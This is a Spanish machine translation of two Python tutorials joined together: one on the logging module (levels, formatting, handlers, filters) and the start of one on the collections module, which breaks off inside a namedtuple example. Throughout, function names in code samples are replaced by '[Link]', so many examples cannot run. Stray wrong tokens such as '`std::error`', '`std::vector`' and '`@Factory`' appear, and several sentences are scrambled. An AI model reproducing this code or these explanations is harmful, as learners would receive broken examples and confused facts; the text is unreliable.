ERROR [Link]() Te alerta sobre un problema inesperado que ha
ocurrido en tu programa.
CRITICAL [Link]() Te indica que se ha producido un error grave y
que puede haber provocado el cierre inesperado
de tu aplicación.
El loggingmódulo proporciona un registrador predeterminado que permite comenzar a
registrar eventos sin necesidad de mucha configuración. Sin embargo,
las loggingfunciones enumeradas en la tabla anterior revelan una peculiaridad que
quizás no esperes:
>>> [Link]("This is a debug message")
>>> [Link]("This is an info message")
>>> [Link]("This is a warning message")
WARNING:root:This is a warning message
>>> [Link]("This is an error message")
ERROR:root:This is an error message
>>> [Link]("This is a critical message")
CRITICAL:root:This is a critical message
Observe que los debug()mensajes info()no se registraron. Esto se debe a que, de
forma predeterminada, el módulo de registro registra los mensajes con un nivel de gravedad
de 0 WARNINGo superior. Puede cambiar esto configurando el módulo de registro para
que registre eventos de todos los niveles.
Ajustar el nivel de registro
Para configurar el registro básico y ajustar el nivel de registro, el loggingmódulo incluye
una basicConfig()función. Como desarrollador de Python, este nombre de función en
camelCase puede parecerte inusual, ya que no sigue las convenciones de nomenclatura PEP
8:
Esto se debe a que se adoptó de Log4j , una utilidad de registro en Java . Es un problema
conocido en el paquete, pero cuando se decidió agregarlo a la biblioteca estándar, los
usuarios ya lo habían adoptado, y cambiarlo para cumplir con los requisitos de PEP 8
causaría problemas de compatibilidad con versiones anteriores.
Más adelante en este tutorial, aprenderá sobre los parámetros comunes
para basicConfig(). Por ahora, nos centraremos en el levelparámetro para establecer
el nivel de registro del rootregistrador:
>>> import logging
>>> [Link](level=[Link])
>>> [Link]("This will get logged.")
DEBUG:root:This will get logged.
Mediante este levelparámetro, puede configurar el nivel de detalle de los mensajes de
registro que desea registrar. Esto se puede hacer pasando una de las constantes de nivel
superior disponibles en el módulo . Puede usar la constante en sí, su valor numérico o su
valor de cadena como levelargumento.
Constante Valor Valor de cadena
numérico
[Link] 10 "DEBUG"
[Link] 20 "INFO"
[Link] 30 "WARNING"
[Link] 40 "ERROR"
[Link] 50 "CRITICAL"
Al establecer un nivel de registro, se habilitarán todas las llamadas de registro en el nivel
definido y superiores. Por ejemplo, si se establece el nivel de registro en , se
registrarán DEBUGtodos los eventos en o por encima de ese [Link]
Formatear la salida
Por defecto, los registros contienen el nivel de registro, el nombre del registrador y el
mensaje de registro. Esto es un buen punto de partida. Sin embargo, puede enriquecer sus
registros con datos adicionales utilizando el formatparámetro de basicConfig().
El formatparámetro acepta una cadena que puede contener varios atributos
predefinidos . Estos atributos funcionan como marcadores de posición que se formatean en
la cadena. El valor predeterminado tiene formatel siguiente aspecto:
>>> import logging
>>> [Link](format="%(levelname)s:%(name)s:%(message)s")
>>> [Link]("Hello, Warning!")
WARNING:root:Hello, Warning!
Este formato se denomina formato de cadena printfestilo `-style` . También puede
encontrar formatos de registro con un signo de dólar y llaves ( ${}"), que están
relacionados con la [Link]()clase `register`. Si está familiarizado con el
formato de cadenas moderno de Python , probablemente le resulte más fácil usar llaves
(" {}") para formatear sus cadenas.
Puedes elegir uno de estos tres estilos para tu formatcadena especificando
el styleparámetro. Las opciones styleson `<style>` "%", "$"`<style>` o
`<style> "{"`. Cuando proporcionas un styleargumento, tu formatcadena debe
coincidir con el estilo seleccionado. De lo contrario, recibirás un error ValueError.
Nota: La llamada basicConfig()para configurar el rootregistrador solo funciona
si rooteste no se ha configurado previamente. Todas logginglas funciones se llaman
automáticamente basicConfig()sin argumentos si basicConfig()nunca se ha
llamado a `configure`. Por ejemplo, una vez que llame a
`configure` [Link](), ya no podrá configurar el rootregistrador con `
configure` basicConfig().
Reinicia el REPL e inicia un registrador con un formato de estilo diferente. Antes de probar
otros atributos para tus registros, mantén la estructura de formato predeterminada anterior:
>>> import logging
>>> [Link](format="{levelname}:{name}:{message}", style="{")
>>> [Link]("Hello, Warning!")
WARNING:root:Hello, Warning!
Como se mencionó anteriormente, el formatparámetro acepta una cadena que puede
contener varios atributos predefinidos . Los que elija utilizar dependerán de la información
que desee obtener de sus registros.
Además del texto del mensaje y el nivel de registro, suele ser útil incluir una marca de
tiempo en el registro. Esta marca de tiempo indica el momento exacto en que el programa
envió el mensaje. Esto permite supervisar el rendimiento del código o detectar patrones en
torno a la ocurrencia de errores.
Para añadir una marca de tiempo a tus registros, puedes usar el asctimeatributo en
tu formatcadena de basicConfig(). Por defecto, asctimetambién muestra
milisegundos. Si no necesitas tanta precisión o si quieres personalizar la marca de tiempo,
debes añadir datefmta tu basicConfig()llamada:
>>> import logging
>>> [Link](
... format="{asctime} - {levelname} - {message}",
... style="{",
... datefmt="%Y-%m-%d %H:%M",
... )
>>> [Link]("Something went wrong!")
2025-07-22 09:26 - ERROR - Something went wrong!
En el ejemplo anterior, se antepone una marca de tiempo a los registros. Las directivas que
se utilizan para formatear la marca de tiempo en la datefmtcadena son año( %Y),
mes( %m), día( %d), hora( %H) y minutos( %M). Para obtener una descripción
general de todas las directivas de fecha que se pueden incluir en la cadena de formato,
consulte la [Link]()documentación.
La información adicional, como la hora del mensaje de registro, cobra aún más importancia
cuando se desea mantener un registro de incidentes a lo largo del tiempo o cuando se desea
guardar los registros en un archivo externo.
Registro en un archivo
Hasta ahora, has registrado los mensajes en tu consola. Pero si quieres archivar tus
registros, es una buena idea guardarlos en un archivo que vaya creciendo con el tiempo.
Para guardar los registros en un archivo, puedes configurar el
registrador basicConfig()con el filenameargumento correspondiente. Al igual que
al trabajar con archivos en Python y usar la open()función `file` , debes proporcionar la
ruta del archivo. También es recomendable especificar la codificación y el modo en que se
debe abrir el archivo.
>>> import logging
>>> [Link](
... filename="[Link]",
... encoding="utf-8",
... filemode="a",
... format="{asctime} - {levelname} - {message}",
... style="{",
... datefmt="%Y-%m-%d %H:%M",
... )
>>> [Link]("Save me!")
Con la configuración anterior, los registros se guardan en un [Link] en lugar de
mostrarse en la consola. Para añadir todos los registros al archivo sin sobrescribir los
existentes, se debe configurar filemode` a--append`.
Este [Link] un archivo de texto básico que puedes abrir en cualquier editor de texto:
[Link]
2025-07-22 09:55 - WARNING - Save me!
Además de formatear los registros, también es recomendable archivarlos en carpetas con
formato de fecha y ajustar los nombres de los archivos. Incluso puedes ser creativo y
formatear los registros para guardarlos como archivos CSV y crear tus propios programas
para practicar el análisis de estos archivos .
Visualización de datos variables
En la mayoría de los casos, querrás incluir información dinámica de tu aplicación en los
registros. Ya has visto que las funciones de registro aceptan una cadena como argumento.
Aprovechando las f-strings de Python , puedes crear mensajes de depuración detallados que
contengan información variable:
>>> import logging
>>> [Link](
... format="{asctime} - {levelname} - {message}",
... style="{",
... datefmt="%Y-%m-%d %H:%M",
... level=[Link],
... )
>>> name = "Samara"
>>> [Link](f"{name=}")
2025-07-22 14:49 - DEBUG - name='Samara'
Primero, configura el registrador y establece el nivel de depuración para DEBUGque se
muestren los mensajes de depuración. Luego, define una variable namecon el
valor "Samara". Mediante expresiones autodocumentadas , puedes interpolar el nombre
de una variable y su valor en una f-string añadiendo un signo igual (= =) al nombre de la
variable.
Nota: Las cadenas f de Python se evalúan de forma inmediata. Esto significa que se
interpolan incluso si el mensaje de registro nunca se procesa. Si está interpolando muchos
mensajes de registro de bajo nivel, debería considerar usar el operador módulo ( %) para la
interpolación en lugar de cadenas f. Este estilo es compatible de loggingforma nativa,
por lo que puede escribir código como el siguiente:
>>> import logging
>>> [Link](
... format="%(asctime)s - %(levelname)s - %(message)s",
... style="%",
... datefmt="%Y-%m-%d %H:%M",
... level=[Link],
... )
>>> name = "Samara"
>>> [Link]("name=%s", name)
2025-07-22 14:51 - DEBUG - name=Samara
En este caso, se usa %scomo marcador de posición para la cadena a la que hace
referencia name. Nótese que namese pasa como parámetro a [Link]().
Si no se gestiona el mensaje de depuración, Python no realizará la interpolación.
Consultar el valor actual de las variables mediante este loggingmódulo es un buen
primer paso para depurar la aplicación. Si se desea obtener información más detallada sobre
el código, puede ser útil enviar las excepciones al registrador de eventos.
Captura de seguimientos de pila
El loggingmódulo también permite capturar el seguimiento de pila completo de una
aplicación. La información de excepciones se puede capturar si exc_infose pasa el
parámetro como True, y las funciones de registro se llaman de la siguiente manera:
>>> import logging
>>> [Link](
... filename="[Link]",
... encoding="utf-8",
... filemode="a",
... format="{asctime} - {levelname} - {message}",
... style="{",
... datefmt="%Y-%m-%d %H:%M",
... )
>>> donuts = 5
>>> guests = 0
>>> try:
... donuts_per_guest = donuts / guests
... except ZeroDivisionError:
... [Link]("DonutCalculationError", exc_info=True)
...
Dado que estás registrando la actividad en el [Link], puedes realizar un
seguimiento de las trazas de pila en el archivo:
[Link]
2025-07-22 15:04 - ERROR - DonutCalculationError
Traceback (most recent call last):
File "<stdin>", line 2, in <module>
ZeroDivisionError: division by zero
Si exc_infono está configurado en True, la salida del programa anterior no le diría
nada sobre la excepción, que, en un escenario del mundo real, podría no ser tan simple
como un ZeroDivisionError.
Dado que registrar errores es una tarea tan común, loggingse incluye una función que le
ahorrará tiempo de escritura. Si registra errores desde un manejador de excepciones, del
que aprenderá más adelante, puede usar esta [Link]()función. Dicha
función registra un mensaje con el nivel especificado ERRORy agrega información sobre
la excepción al mensaje.
Aquí tienes un ejemplo de cómo obtener el mismo resultado que el anterior
usando [Link]():
>>> try:
... donuts_per_guest = donuts / guests
... except ZeroDivisionError:
... [Link]("DonutCalculationError")
...
Llamar a esta función [Link]()es como llamar a
otra [Link](exc_info=True). Dado que
la [Link]()función siempre vuelca información de la excepción, solo
debe llamarla [Link]()desde un manejador de excepciones.
Cuando lo uses [Link](), se mostrará un registro a nivel de ERROR.
Si no deseas eso, puedes llamar a cualquiera de las otras funciones de registro
de debug()a critical()y pasar el exc_infoparámetro como True.
Creación de un registrador personalizado
Hasta ahora, has visto el registrador predeterminado, llamado `logger` root, que el
módulo utiliza loggingcada vez que se llaman funciones como
`record` [Link](), [Link]()`record`, etc. Llamar
directamente al registrador predeterminado es una forma práctica de hacerse una primera
idea de cómo funciona el registro de eventos.
La desventaja de trabajar rootdirectamente con el registrador es que la configuración
puede resultar engorrosa, ya que dependes de un único registrador basicConfig(). Para
proyectos más grandes, necesitarás mayor flexibilidad en tus necesidades de registro.
En general, es recomendable definir tu propio registrador personalizado. Puedes
hacerlo creando un objeto de la Loggerclase, que encontrarás en el loggingmódulo.
Instanciando su registrador
Puedes crear una instancia de una Loggerclase llamando a
la [Link]()función y proporcionando un nombre para tu registrador:
>>> import logging
>>> logger = [Link](__name__)
>>> [Link]("Look at my logger!")
Look at my logger!
Aunque podrías usar cualquier cadena como nombre, es buena práctica
pasarla __name__como parámetro. De esta forma, el nombre de tu registrador siempre
será el nombre del módulo en el espacio de nombres del paquete de Python .
Al llamar a `register` [Link](), notará que no ve información de registro
adicional, como el nombre del registrador o el nivel de registro. Para formatear el registro,
podría verse tentado a usar `register` .basicConfig()en su registrador personalizado.
Sin embargo, a diferencia del rootregistrador predeterminado, no puede configurar un
registrador personalizado con `register` basicConfig(). En cambio, debe configurarlo
mediante controladores y formateadores, lo que le brinda mucha más flexibilidad.
Usando controladores
Los controladores entran en juego cuando se desea configurar registradores personalizados.
Por ejemplo, cuando se quiere enviar los mensajes de registro a diferentes destinos, como la
salida estándar o un archivo.
Nota: Un registrador que cree puede tener uno o más controladores. Esto significa que
puede enviar sus registros a varios lugares cuando se generen.
Aquí tienes un ejemplo de cómo añadir dos controladores a un registrador personalizado.
Empieza importando loggingel registrador y luego añade los dos controladores:
>>> import logging
>>> logger = [Link](__name__)
>>> console_handler = [Link]()
>>> file_handler = [Link]("[Link]", mode="a", encoding="utf-8")
La StreamHandlerclase enviará los registros a la consola. La FileHandlerclase
escribirá los registros en un archivo. Para definir dónde y cómo desea escribir los registros,
debe proporcionar la ruta del archivo, el modo de apertura y la codificación.
Una vez que hayas instanciado tus controladores, debes agregarlos al registrador. Para ello,
utiliza el .addHandler()método:
>>> [Link](console_handler)
>>> [Link](file_handler)
>>> [Link]
[
<StreamHandler <stderr> (NOTSET)>,
<FileHandler /Users/RealPython/Desktop/[Link] (NOTSET)>
]
Puedes listar todos los controladores que usa un registrador consultando
la .handlerspropiedad. En el ejemplo anterior, puedes ver las representaciones en
cadena de ambos controladores.
Además del nombre de la clase, la representación de los manejadores muestra dónde se
escribirán los registros. Para el manejador `record` StreamHandler, los registros se
escriben en el flujo de error estándar (` std::error` stderr), que es el canal de salida que
Python utiliza por defecto. Para el manejador `record` FileHandler, se puede ver la
ubicación donde se guardarán los registros.
Entre paréntesis en la representación de la clase, verá el nivel de registro de sus
controladores. Actualmente, el nivel de registro es NOTSET. Como es de
esperar, NOTSETesto significa que el nivel de registro para los controladores de registro
aún no está configurado.
Volveremos a tratar los niveles de registro más adelante en este tutorial. Por ahora,
pongamos en marcha el controlador de registro:
>>> [Link]("Watch out!")
Watch out!
Al llamar a [Link](), ambos manejadores se hacen cargo del mensaje. El
resultado de StreamHandlerse muestra inmediatamente en la consola. Para
comprobar si FileHandlertambién se ejecutó correctamente, abre [Link]:
[Link]
Watch out!
¡Perfecto! Ambos controladores funcionan como se esperaba. Con una sola llamada a tu
registrador personalizado, puedes distribuir tus mensajes de registro en diferentes
direcciones mediante controladores.
El loggingmódulo incluye varias funciones útiles para propósitos específicos. Por
ejemplo, ` RotatingFileHandlercreate`, que crea un nuevo archivo de registro una
vez que se alcanza un límite de tamaño de archivo,
o TimedRotatingFileHandler`create`, con la que puede crear un nuevo archivo
de registro a intervalos definidos.
Hasta ahora, los mensajes parecen un poco simples. Como ya aprendiste, una de las
ventajas del registro de eventos es que permite enriquecer la información con metadatos
como marcas de tiempo o niveles de registro. ¡Aquí es donde entran en juego los
formateadores!
Agregar formateadores a sus controladores
Los controladores envían los registros al destino de salida que defina. Con
un formateador , puede controlar el formato de salida especificando un formato de cadena
como lo hizo anteriormente con el formatargumento de [Link]().
Al igual que con los controladores, primero debes instanciar una clase antes de trabajar con
un formateador. Para los formateadores, se utiliza la Formatterclase
del loggingmódulo.
Para hacerte una primera idea de cómo funciona un formateador, revisa el código anterior y
añade [Link]()algunas modificaciones. Empieza por añadir el
formateador StreamHandlery pruébalo:
>>> import logging
>>> logger = [Link](__name__)
>>> console_handler = [Link]()
>>> file_handler = [Link]("[Link]", mode="a", encoding="utf-8")
>>> [Link](console_handler)
>>> [Link](file_handler)
>>> formatter = [Link](
... "{asctime} - {levelname} - {message}",
... style="{",
... datefmt="%Y-%m-%d %H:%M",
... )
>>> console_handler.setFormatter(formatter)
>>> [Link]("Stay calm!")
2025-07-22 15:58 - WARNING - Stay calm!
Aquí se crea una instancia de un formateador que muestra la marca de tiempo, el nivel de
registro y el mensaje de registro. Al llamarlo .setFormatter()con formatterun
argumento, se define el formato del controlador al que se adjunta el formateador.
Nota: A diferencia de .addHandler(), que es un método
de Logger, .setFormatter()es un método de Handler.
Al añadir ambos console_handlerparámetros a , su llamada también terminó en .
Pero dado que solo configuró el formateador para , el registro de log en permanece sin
estilo.file_handlerloggerlogger.warning()app.logconsole_handler
[Link]
Al definir y configurar distintos formateadores para tus controladores, puedes controlar la
cantidad de información adicional que se muestra en los mensajes de registro. ¡Pero eso no
es todo! También puedes mostrar mensajes de depuración en la consola y guardar los
niveles de registro más detallados en un archivo, o viceversa.
Configuración de los niveles de registro de los registradores
personalizados
Al igual que con las llamadas [Link](), también puedes configurar el
nivel de registro en los controladores. Esto resulta útil cuando quieres configurar varios
controladores para el mismo registrador, pero deseas diferentes niveles de gravedad para
cada uno.
Por ejemplo, al desarrollar una aplicación, es posible que desee que los registros con nivel
0 DEBUGo superior se registren en la consola, pero que todo lo que tenga nivel
1 WARNINGo superior se guarde en un archivo.
Comience por crear un registrador personalizado y explore su nivel de registro
predeterminado:
>>> import logging
>>> logger = [Link](__name__)
>>> [Link]
0
>>> logger
<Logger __main__ (WARNING)>
>>> [Link]
<RootLogger root (WARNING)>
El nivel de registro predeterminado de tu registrador personalizado es 0, que
significa NOTSET. Sin embargo, la representación en cadena de tu registrador muestra
el WARNINGnivel de registro. Esto se debe a que un registrador personalizado hereda el
nivel de registro de su registrador principal si aún no lo has configurado manualmente.
Además de consultar la representación en cadena de un registrador, también puede llamar
al .getEffectiveLevel()método:
>>> [Link]()
30
El valor devuelto .getEffectiveLevel()es un número entero que representa el nivel
de registro. A continuación, se muestra una descripción general de las representaciones
numéricas de los niveles de registro:
Valor Nivel de registro
numérico
0 NOTSET
10 DEBUG
20 INFO
30 WARNING
40 ERROR
50 CRITICAL
Como antes, puedes usar una constante definida en el nivel superior del loggingmódulo,
el valor numérico o una cadena para establecer el nivel de registro de tu registrador
personalizado:
>>> [Link]([Link])
>>> logger
<Logger __main__ (WARNING)>
>>> [Link](10)
>>> logger
<Logger __main__ (DEBUG)>
>>> [Link]("INFO")
>>> logger
<Logger __main__ (INFO)>
Este método se utiliza .setLevel()para configurar el nivel de registro del registrador.
Cualquier controlador que se añada al registrador reconocerá este nivel de registro.
>>> formatter = [Link]("{levelname} - {message}", style="{")
>>> console_handler = [Link]()
>>> console_handler.setFormatter(formatter)
>>> [Link](console_handler)
>>> [Link]("Just checking in!")
>>> [Link]("Just checking in, again!")
INFO - Just checking in, again!
Dado que el nivel de registro de loggerestá configurado en INFO,
el console_handlerque agregó a loggerno muestra registros que tengan un nivel
de registro inferior a INFO.
Podrías argumentar que console_handleraún no has configurado el nivel de registro,
y tienes razón. En este punto, console_logel nivel es NOTSET:
>>> console_handler
<StreamHandler <stderr> (NOTSET)>
Pero incluso si se configura el nivel de registro de un controlador por debajo del nivel del
registrador asociado, los mensajes que estén por debajo del nivel de registro del registrador
no se mostrarán:
>>> console_handler.setLevel("DEBUG")
>>> [Link]("Just checking in!")
>>> console_handler
<StreamHandler <stderr> (DEBUG)>
El mensaje de depuración sigue sin aparecer, aunque hayas
permitido console_logmostrar los registros de log para el nivel DEBUGespecificado
y superiores. Este comportamiento del registrador y sus controladores puede resultar
confuso al principio.
Nota: El nivel de registro mínimo permitido se define en el propio registrador. Los
controladores no pueden mostrar registros con un nivel inferior al definido para el
registrador al que están conectados.
Teniendo en cuenta este comportamiento, puede resultar útil durante el desarrollo
configurar el nivel de registro del registrador DEBUGy dejar que cada controlador decida
su nivel de registro mínimo:
>>> import logging
>>> logger = [Link](__name__)
>>> [Link]("DEBUG")
>>> formatter = [Link]("{levelname} - {message}", style="{")
>>> console_handler = [Link]()
>>> console_handler.setLevel("DEBUG")
>>> console_handler.setFormatter(formatter)
>>> [Link](console_handler)
>>> file_handler = [Link]("[Link]", mode="a", encoding="utf-8")
>>> file_handler.setLevel("WARNING")
>>> file_handler.setFormatter(formatter)
>>> [Link](file_handler)
>>> [Link]("Just checking in!")
DEBUG - Just checking in!
>>> [Link]("Stay curious!")
WARNING - Stay curious!
>>> [Link]("Stay put!")
ERROR - Stay put!
En el ejemplo anterior, se configuraron diferentes niveles de registro para
`register` console_handlery `register` file_handler. Dado que el nivel de
registro de `register` console_handleres `0` DEBUG, puede ver todos los registros
en la consola. Si revisa el [Link] que file_handlercontiene `register`, podrá
verificar que los registros de `register` WARNINGy ERROR`register` se guardaron en
dicho archivo.
[Link]
WARNING - Stay curious!
ERROR - Stay put!
Al utilizar distintos niveles de registro, puede controlar dónde se registra la información. Al
hacerlo, es importante recordar que los controladores nunca pueden registrar niveles
inferiores al nivel de registro de su registrador. En cambio, los controladores registran
cualquier nivel superior al nivel de registro establecido.
En otras palabras, al configurar el nivel de registro, se filtrarán todos los mensajes de
registro por debajo de ese nivel y se mostrarán todos los mensajes de registro que estén en o
por encima de ese nivel. Si solo desea mostrar un nivel de registro específico, puede
obtener aún más control agregando un filtro a un controlador.
Filtrado de registros
Si te interesan los WARNINGregistros que genera tu programa Python, probablemente
también te interesen niveles de registro más estrictos, como `--register` ERRORo incluso
` CRITICAL--register-level`. Por lo tanto, en la mayoría de los casos, podrás recopilar sin
problemas todos los registros de un nivel determinado o superior mediante controladores
específicos.
Sin embargo, hay situaciones en las que puede ser conveniente tratar los mensajes de un
nivel de registro específico de forma diferente. Es entonces cuando un objeto Filterpuede
resultar útil. La parte importante de las especificaciones del Filterobjeto es la siguiente:
La lógica de filtrado comprobará si el objeto de filtro tiene un filteratributo: si lo tiene, se
asume que es un objeto Filtery filter()se llama a su método. De lo contrario, se
asume que es una función y se llama con el registro como único parámetro. El valor
devuelto debe coincidir con el devuelto por filter(). ( Fuente )
En otras palabras, existen tres enfoques para crear filtros de registro. Puede crear un:
1. Subclase de [Link]()y sobrescribe el .filter()método
2. Clase que contiene un .filter()método
3. Función invocable que se asemeja a un .filter()método
Tanto para la subclase como para la clase, .filter()se debe aceptar un registro de log y
devolver un valor booleano . Dentro del cuerpo del método, conviene definir
una instrucción condicional que verifique el registro proporcionado.
La función invocable puede ser una función básica con un parámetro para el registro de log
que el controlador le pasa. El valor de retorno debe ser booleano . Usar una función
invocable es, sin duda, la forma más conveniente de crear filtros básicos, por lo que
exploraremos este enfoque con más detalle.
Una vez establecida la teoría, es hora de poner en práctica el filtro de registro. El filtro que
crearás garantizará que el controlador que envía los registros a la consola solo
muestre DEBUGlos siguientes mensajes:
>>> import logging
>>> def show_only_debug(record):
... return [Link] == "DEBUG"
...
>>> logger = [Link](__name__)
>>> [Link]("DEBUG")
>>> formatter = [Link]("{levelname} - {message}", style="{")
>>> console_handler = [Link]()
>>> console_handler.setLevel("DEBUG")
>>> console_handler.setFormatter(formatter)
>>> console_handler.addFilter(show_only_debug)
>>> [Link](console_handler)
>>> file_handler = [Link]("[Link]", mode="a", encoding="utf-8")
>>> file_handler.setLevel("WARNING")
>>> file_handler.setFormatter(formatter)
>>> [Link](file_handler)
>>> [Link]("Just checking in!")
DEBUG - Just checking in!
>>> [Link]("Stay curious!")
>>> [Link]("Stay put!")
Primero, crea una función invocable show_only_debug()con un nombre y
un recordparámetro. El registro de log que se pasa como argumento será una instancia
de LogRecord.
En este caso show_only_debug, se devuelve un valor Truesi
el .levelnameatributo del registro de log es "DEBUG". Cualquier registro de log que
no esté en el DEBUGnivel de log devolverá un valor Falsey no será mostrado por el
controlador al que se adjunta el filtro.
Para agregar un filtro a un controlador, se utiliza el .addFilter()método de
la Handlerclase. El argumento .addFilter()debe ser un filtro. En el código anterior,
se pasa una referencia a show_only_debug()para adjuntar el filtro
a console_handler.
Para console_handler, has configurado el nivel de registro en DEBUG. Sin ningún
otro ajuste, el controlador mostrará todos los registros de ese DEBUGnivel y superiores.
Con tu filtro, estás suprimiendo los niveles de registro superiores y mostrando solo los
mensajes de depuración en la consola. Dado que no añadiste un filtro a file_handler,
este controlador registra sin problemas los registros del nivel de registro configurado y
superiores.
Tus registradores personalizados se convierten en herramientas altamente personalizables
que pueden mostrar exactamente la salida que deseas. Un registrador personalizado puede
ser tan básico como un registrador raíz. Pero al combinar controladores, formateadores y
filtros, puedes convertir tus registradores personalizados en un elegante sistema de informes
de campo para tu código.
Collections: python
El módulo de Python collectionsproporciona un amplio conjunto de tipos de datos
contenedores especializados, cuidadosamente diseñados para abordar problemas de
programación específicos de una manera eficiente y idiomática en Python. El módulo
también proporciona clases envolventes que facilitan la creación de clases personalizadas
con un comportamiento similar al de los tipos integrados `int` dict, list`int` y
`std::vector` str.
Aprender sobre los tipos de datos y las clases collectionste permitirá ampliar tu conjunto de
herramientas de programación con un valioso conjunto de herramientas fiables y eficientes.
En este tutorial, aprenderás cómo:
Escribe código legible y explícito connamedtuple
Cree colas y pilas eficientes condeque
Cuenta objetos rápidamente conCounter
Manejar las claves de diccionario faltantes condefaultdict
Garantizar el orden de inserción de las llaves conOrderedDict
Gestiona varios diccionarios como una sola unidad conChainMap
Para comprender mejor los tipos de datos y las clases en Python collections, es necesario
conocer los conceptos básicos del trabajo con los tipos de datos integrados de Python,
como listas , tuplas y diccionarios . Además, la última parte del artículo requiere algunos
conocimientos básicos sobre programación orientada a objetos en Python.
Descarga gratuita: Obtén un capítulo de muestra de Python Tricks: El libro que te
muestra las mejores prácticas de Python con ejemplos sencillos que puedes aplicar al
instante para escribir código más elegante y idiomático de Python.
Introducción a Python collections
En Python 2.4 , Raymond Hettinger aportó un nuevo módulo collectionsa la biblioteca
estándar . El objetivo era proporcionar diversos tipos de datos de colecciones
especializados para abordar problemas de programación específicos.
En aquel entonces, collectionssolo se incluía una estructura de datos, deque,
diseñada específicamente como una cola de doble extremo que permite operaciones
eficientes de adición y eliminación en ambos extremos de la secuencia. A partir de
entonces, varios módulos de la biblioteca estándar aprovecharon dequepara mejorar el
rendimiento de sus clases y estructuras. Algunos ejemplos destacados
son queuey threading.
Con el tiempo, un puñado de tipos de datos de contenedores especializados fueron
poblando el módulo:
Tipo de datos Versión Descripción
de
Python
deque 2.4 Una colección secuencial que permite añadir y
eliminar elementos de forma eficiente desde
cualquiera de los extremos de la secuencia.
defaultdict 2.5 Una subclase de diccionario para construir
valores predeterminados para claves faltantes y
agregarlas automáticamente al diccionario.
namedtuple 2.6 Una función de fábrica para crear
() subclases tupleque proporciona campos con
nombre que permiten acceder a los elementos por
nombre, manteniendo la capacidad de acceder a
ellos por índice.
OrderedDict 2.7 , 3.1 Una subclase de diccionario que mantiene los
pares clave-valor ordenados según el momento en
que se insertan las claves.
Counter 2.7 , 3.1 Una subclase de diccionario que permite contar
fácilmente los elementos únicos de una secuencia
o iterable.
ChainMap 3.3 Una clase similar a un diccionario que permite
tratar varias asignaciones como un único objeto
diccionario.
Además de estos tipos de datos especializados, collectionstambién proporciona tres
clases base que facilitan la creación de listas, diccionarios y cadenas personalizadas :
Clase Descripción
UserDict Una clase contenedora para un objeto diccionario que facilita la creación
de [Link]
UserList Una clase contenedora para un objeto de lista que facilita la creación de
[Link]
UserStrin Una clase contenedora para un objeto de tipo cadena que facilita la
g creación de [Link]
La necesidad de estas clases envolventes se vio parcialmente eclipsada por la posibilidad de
crear subclases de los tipos de datos estándar integrados correspondientes. Sin embargo, en
ocasiones, el uso de estas clases resulta más seguro y menos propenso a errores que el uso
de tipos de datos estándar.
Tras esta breve introducción a collectionslas estructuras de datos y clases de este
módulo y a los casos de uso específicos que pueden resolver, es hora de analizarlas con más
detalle. Antes de ello, es importante señalar que este tutorial es una
introducción collectionsgeneral. En la mayoría de las secciones siguientes, encontrará
un recuadro azul que le dirigirá a un artículo específico sobre la clase o función en cuestión.
Mejorar la legibilidad del código: namedtuple()
namedtuple()La función `@Factory` de Python permite crear tuplesubclases
con campos con nombre . Estos campos proporcionan acceso directo a los valores de una
tupla con nombre dada mediante la notación de punto , como en el ejemplo [Link].
La necesidad de esta función surgió porque usar índices para acceder a los valores de una
tupla normal resulta engorroso, difícil de leer y propenso a errores. Esto se agrava si la
tupla con la que se trabaja contiene varios elementos y se construye lejos del lugar donde se
utiliza.
Nota: Consulta "Escribir código limpio y idiomático en Python con namedtuple" para
profundizar en cómo usarlo namedtupleen Python.
En Python 2.6, una subclase de tupla con campos con nombre a los que los desarrolladores
pueden acceder mediante la notación de punto parecía una característica deseable. Ese es el
origen de ` namedtuple(). Las subclases de tupla que se pueden crear con esta
función representan una gran mejora en la legibilidad del código en comparación con las
tuplas regulares.
Para poner en perspectiva el problema de la legibilidad del código, considere la
siguiente divmod()función integrada: Esta función toma dos números (no complejos) y
devuelve una tupla con el cociente y el resto que resultan de la división entera de los
valores de entrada:
>>> divmod(12, 5)
(2, 2)
Funciona bien. Sin embargo, ¿es legible este resultado? ¿Se puede deducir el significado de
cada número en la salida? Afortunadamente, Python ofrece una forma de mejorar esto. Se
puede programar una versión personalizada divmod()con un resultado explícito
usando namedtuple:
>>> from collections import namedtuple
>>> def custom_divmod(x, y):
... DivMod = namedtuple("DivMod", "quotient remainder")
... return DivMod(*divmod(x, y))
...
>>> result = custom_divmod(12, 5)
>>> result
DivMod(quotient=2, remainder=2)
>>> [Link]
2
>>> [Link]
2
Ahora ya conoces el significado de cada valor en el resultado. También puedes acceder a
cada valor independiente utilizando la notación de puntos y un nombre de campo
descriptivo.
Para crear una nueva subclase de tupla usando namedtuple(), necesitas dos
argumentos obligatorios:
1. typenamees el nombre de la clase que estás creando. Debe ser una
cadena con un identificador válido de Python .
2. field_nameses la lista de nombres de campo que usarás para
acceder a los elementos de la tupla resultante. Puede ser:
o Un iterable de cadenas, como por ejemplo["field1",
"field2", ..., "fieldN"]
o Una cadena con nombres de campo separados por espacios en
blanco, como por ejemplo:"field1 field2 ... fieldN"
o Una cadena con nombres de campo separados por comas, como
por ejemplo:"field1, field2, ..., fieldN"
Por ejemplo, aquí hay diferentes maneras de crear una muestra 2D Pointcon dos
coordenadas ( xy y) usando namedtuple():
>>> from collections import namedtuple
>>> # Use a list of strings as field names
>>> Point = namedtuple("Point", ["x", "y"])
>>> point = Point(2, 4)
>>> point
Point(x=2, y=4)
>>> # Access the coordinates
>>> point.x
2
>>> point.y
4
>>> point[0]
2
>>> # Use a generator expression as field names
>>> Point = namedtuple("Point", (field for field in "xy"))
>>> Point(2, 4)
Point(x=2, y=4)
>>> # Use a string with comma-separated field names
>>> Point = namedtuple("Point", "x, y")
>>> Point(2, 4)
Point(x=2, y=4)
>>> # Use a string with space-separated field names
>>> Point = namedtuple("Point", "x y")
>>> Point(2, 4)
Point(x=2, y=4)
En estos ejemplos, primero se crea un objeto Pointutilizando una lista listde nombres de
campo. Luego se instancia Pointpara crear un pointobjeto. Tenga en cuenta que se
puede acceder xa ylos campos por nombre y también por índice.
Los ejemplos restantes muestran cómo crear una tupla con nombre equivalente con una
cadena de nombres de campo separados por comas, una expresión generadora y una cadena
de nombres de campo separados por espacios.
Las tuplas con nombre también ofrecen una serie de funciones interesantes que le permiten
definir valores predeterminados para sus campos, crear un diccionario a partir de una tupla
con nombre dada, reemplazar el valor de un campo dado y mucho más:
>>> from collections import namedtuple
>>> # Define default values for fields
>>> Person = namedtuple("Person", "name job", defaults=["Python Developer"])
>>> person = Person("Jane")
>>> person
